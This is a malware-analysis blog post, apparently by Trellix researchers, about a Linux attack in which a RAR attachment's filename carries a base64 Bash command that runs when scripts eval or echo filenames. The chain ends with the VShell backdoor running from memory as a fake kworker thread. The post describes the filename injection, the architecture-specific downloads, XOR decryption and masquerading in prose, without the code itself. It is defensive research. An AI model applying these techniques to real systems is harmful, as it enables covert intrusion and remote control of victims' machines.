The Silent, Fileless Threat of VShell

By Sagar Bade · August 21, 2025

Introduction

Linux environments are often seen as bastions of security, favored by developers, sysadmins, and security professionals for their stability, transparency, and resistance to malware. Compared to Windows, the attack surface is perceived to be smaller, and users typically enjoy a greater degree of control. But this trust has led to a blind spot: assumptions of safety based on the operating system alone.

The Trellix Advanced Research Center recently uncovered a new attack that challenges these assumptions. Today’s attackers are innovating around traditional security models. Instead of focusing solely on exploiting software vulnerabilities, they’re weaponizing behaviors, scripting patterns, and even file metadata like filenames to breach systems in stealthy and unexpected ways.

In this blog post, we’ll dissect a real-world, Linux-specific malware infection chain that starts with a spam email with a malicious RAR archive file. The payload isn’t hidden inside the file content or a macro, it's encoded directly in the filename itself. Through clever use of shell command injection and base64 encoded Bash payloads, the attacker turns a simple file listing operation into an automatic malware execution trigger.

This technique abuses a very common and dangerous pattern in many Linux shell scripts: evaluating or echoing filenames without sanitization. A seemingly benign command like eval "echo $f" or even basic file operations can suddenly act as a launchpad for full system compromise.

What’s more alarming is that this tactic bypasses many traditional defenses:

• Antivirus engines don’t usually scan filenames
• Static analysis tools might miss encoded command chains
• Behavioral detection may not flag it unless filename execution occurs

Throughout this post, we’ll break down:

• How a specially crafted filename led to Bash-based code execution
• How the embedded payload triggers silently during normal shell operations
• How the secondary Bash script downloads and executes a binary tailored to system architecture
• How the final ELF payload decrypts itself in memory, spawns a masqueraded process, and evades detection

Let’s dive in.

Infection flow

Infection flow steps

1. Spam Email delivers a .rar archive containing a file with a maliciously crafted filename.
• The filename contains embedded Bash-compatible code designed to execute commands when interpreted by the shell.
2. Malicious filename remains dormant until handled by a shell script or command.
• Simply extracting the archive does not trigger execution.
• Execution occurs only when a script or command (e.g., for f in *, echo $f, eval, printf, or logging utilities) expands or evaluates the filename.
3. Stage 1: Script triggers execution through Bash script interaction (e.g., for f in *) leads to auto-execution of the embedded Base64 downloader.
• The filename evaluates to a Base64-decoded command piped to bash.
4. Stage 2: Script detects system architecture and downloads the matching ELF loader binary.
• Supports multiple architectures: x86, x64, ARM, ARM64.
5. Stage 3: ELF binary connects to a hardcoded C2 and retrieves an XOR-encrypted payload.
• The binary decrypts the payload in-memory using XOR (key: 0x99) and executes it as a fake kernel thread (e.g., [kworker/0:2]).
6. Final Payload (VShell) provides full-featured remote access backdoor capabilities.

Initial infection vector: Spam email with malicious RAR attachment

The attack begins with a spam email disguised as a beauty product survey invitation. Unlike traditional phishing emails, this one does not attempt to steal credentials or impersonate a trusted brand. Instead, it offers a small monetary reward (10 RMB) for completing a fake customer feedback survey — a tactic designed to exploit user curiosity and trust.

Crucially, the email includes a .rar archive attachment (yy.rar), even though it doesn’t explicitly instruct the user to open or extract it. The social engineering angle is subtle: the user is distracted by the survey content, and the presence of the attachment might be mistaken for a survey-related document or data file.

Once extracted, the archive contains a file with a specially crafted filename, which silently triggers malicious behavior during directory enumeration or scripting — without requiring the user to double-click or manually execute anything.

Stage 1: The trap (weaponized filename inside .rar)

When extracted, the archive reveals a file with the following unusual name:

Important observation:
cannot manually create a file with this name in the shell due to its special characters being interpreted as command syntax. This filename was likely crafted using another language (e.g., Python) or dropped using an external tool or script that bypasses shell input validation (e.g., direct syscalls or compiled code).

How it works:

• {echo,...} → Echoes a Base64 payload
• {base64,-d} → Decodes it
• _bash → Pipes it to Bash

Although not currently associated with a known CVE, this file acts as a payload trigger via its filename. When blindly processed by a shell script (e.g., backup or audit automation), it can silently execute malicious code.

Decoded filename(stage 1 bash script):

This script connects to the C2 server and pulls a second-stage Downloader Bash Script and Execute it

Triggering the infection: more than one way

The script used for testing this infection was:

On execution of test.bash, the infection gets triggered

tshark logs on test.bash execution

But this is just one of many possible trigger vectors. Other risky patterns include:

ls with eval (similar logic)

If filenames contain embedded commands, eval will execute them.

2. Using find with eval

This goes through files/folders and evals each name. Replace echo with other commands if needed.

3. File list piped through while loop

4. Using xargs with eval

Anything that expands filenames and processes them using eval, echo, printf, or logging can accidentally execute such a filename-payload.

Stage 2: downloader script -

Breakdown of key functions:

• Expands PATH so any dropped executable can be run from various locations.

• Checks for writable directories where files can be dropped and executed.
• Uses these as fallback execution paths.

• Detects system architecture: x86_64, i386, i686, armv7l, aarch64.

• Based on architecture, it fetches a binary payload:

• Silent Execution via nohup and Multiple Fallback Paths:

After the malicious Bash script downloads the architecture-specific ELF file (e.g., get.bin), it doesn't just execute it directly in a single place. Instead, it attempts to silently run the binary using nohup (short for no hangup) across multiple fallback directories.

Here’s how it works:

1. Why nohup?
   The SIGHUP (hang-up) signals, a common stealth tactic for malware.
2. Why Multiple Paths?
   The script doesn't assume a specific directory will be writable. It tries to copy the binary to one of several common writable locations,
3. These paths are often writable without root and overlooked by security tools. If copying to the first location fails, it tries the next, a resilient fallback mechanism.
4. Goal of This Step
• Persistence: Even if one directory is locked down, another might succeed.
• Stealth: The output is suppressed (>/dev/null 2>&1) and it runs in background (&), hiding its presence.
• Minimal Detection: No obvious signs are left unless logs are deeply inspected or memory/processes are monitored.

This approach makes the execution resilient across restricted environments with limited PATH or non-root shells.

Stage 3 payload: in-memory loader for VShell malware

Once the downloader Bash script identifies the system’s architecture (like x86, x64, or ARM) and fetches the correct ELF binary, this stage-2 loader initiates the real infection process:

1. C2 communication setup

The binary sets up an HTTP GET request to the Command & Control (C2) server.

• The values passed are:
• a = architecture (l32, a64, etc.)
• h = victim IP or hostname
• t = tag (ws_ in your case)
• p = port (usually 443)

2. Receiving the xor-encrypted payload

Once the request is sent, the binary calls recv() to collect the response which is an XOR-encrypted binary blob:

• The XOR key used is 0x99, a simple but effective method for evading static inspection.
• The decryption loop is implemented using xor inside a memory buffer (in-place).

Here is simple python script we have used to decrypt final payload:

3. Memory-only execution and masquerading

After decrypting the payload:

• The decrypted payload (VShell) is executed directly from memory using fexecve().
• fexecve() allows executing a binary from a file descriptor without writing it to disk.
• It is renamed in memory to look like a legitimate Linux kernel thread: [kworker/0:2].
• This masquerading technique makes it harder to detect in process listings (ps, top, etc.)

4. Anti-reinfection mechanism

Before execution, it checks if /tmp/log_de.log exists:

This file acts as a marker to prevent reinfection or multiple instances from running.

This is a powerful evasion technique. No file is ever saved to disk after decryption, the binary runs directly in memory and is disguised as a kernel worker thread.

Based on behavioral analysis, filename abuse, and execution patterns, the initial stage observed in this attack aligns with known Snowlight dropper activity. Snowlight is a Linux-based dropper that leverages maliciously crafted filenames to execute Bash payloads via automated file handling routines (ls, for, find, etc.).

Final payload: VShell malware

VShell malware is a Go-based backdoor used primarily by Chinese APT groups for remote access, file operations, and post-exploitation control on infected systems especially Linux servers.

Core capabilities:

• Reverse shell access: Allows remote command execution on the infected system
• File operations: Upload, download, and delete files remotely
• Process Management: List, kill, and control system processes
• Port Forwarding / Tunneling: Supports TCP/UDP proxying through infected hosts
• Stealth Execution: Runs from memory using fexecve() and masquerades as kernel threads
• Encrypted C2 Communication: Uses custom XOR or HTTP-based encryption for C2 traffic
• Multi-Arch Support: Compatible with ARM, x86, x64 Linux systems

Conclusion

This analysis highlights a dangerous evolution in Linux malware delivery where a simple file name embedded in a RAR archive can be weaponized to execute arbitrary commands. The infection chain exploits command injection in shell loops, abuses Linux’s permissive execution environment, and ultimately delivers a powerful backdoor VShell malware capable of full remote control over the system.

What makes this attack particularly insidious is:

• No executable permission required initially just unpacking or listing the archive contents in a script is enough to trigger infection.
• Multi-architecture support enables targeting a wide range of Linux devices (servers, IoT, cloud containers).
• The malware operates entirely in-memory, avoiding disk-based detection, and masquerades as legitimate kernel threads ([kworker/0:2]) to evade attention.
• The infection includes fallback execution paths across common writable directories, increasing reliability and persistence.

This technique demonstrates how low-complexity vectors (like filename-based injection) can lead to high-impact compromise when combined with simple Bash logic and clever delivery mechanisms. Attackers are increasingly exploiting scripting environments, system utilities like nohup, and filename parsing behaviors to bypass traditional security layers.

MITRE ATT&CK® techniques

Trellix protection

IOCs (indicators of compromise):

References

[1] MITRE ATT&CK®, "Masquerading, Technique T1036," [Online]. Available: https://attack.mitre.org/techniques/T1036/.

[2] MITRE ATT&CK®, "Command and Scripting Interpreter: Bash, Sub-technique T1059.004," [Online]. Available: https://attack.mitre.org/techniques/T1059/004/.

[3] Secureworks®, "Chinese APT Group Mustang Panda Targets Government Entities with PlugX and FakeSecure RAT," 02 2023. [Online]. Available: https://www.secureworks.com/research/mustang-panda-targets-government-entities.

[4] Elastic Security Labs, "Malicious Linux Archive Files: Filename-Based Exploitation," 12 2023. [Online]. Available: https://www.elastic.co/security-labs/malicious-linux-archives.

[5] Trend Micro™, "Backdoor vshell: New Linux Backdoor Possibly Linked to Chinese Hackers," 01 2022. [Online]. Available: https://www.trendmicro.com/en_us/research/22/a/backdoor-vshell-new-linux-backdoor-possibly-linked-to-chinese-hackers.html.

[6] Palo Alto Networks Unit 42, "Vshell Backdoor Targets Government, Military, and Research Organizations," 2022. [Online]. Available: https://unit42.paloaltonetworks.com/vshell-backdoor/.

[7] SentinelOne®, "UNC5174 Targets Southeast Asia With Custom Linux Payloads," 06 2024. [Online]. Available: https://www.sentinelone.com/blog/unc5174-linux-backdoor-campaign/.

[8] VirusTotal, "Vshell Pivot Search Using Process Masquerade Technique," [Online]. Available: https://www.virustotal.com/gui/search/name:%22[kworker/0:2]%22.

[9] MITRE ATT&CK®, "Ingress Tool Transfer, Technique T1105," [Online]. Available: https://attack.mitre.org/techniques/T1105/.

[10] Red Canary®, "Process Masquerading in Linux: Detecting [kworker/*] Abuse," [Online]. Available: https://redcanary.com/blog/process-masquerading-linux/.

Discover the latest cybersecurity research from the Trellix Advanced Research Center: https://www.trellix.com/advanced-research-center/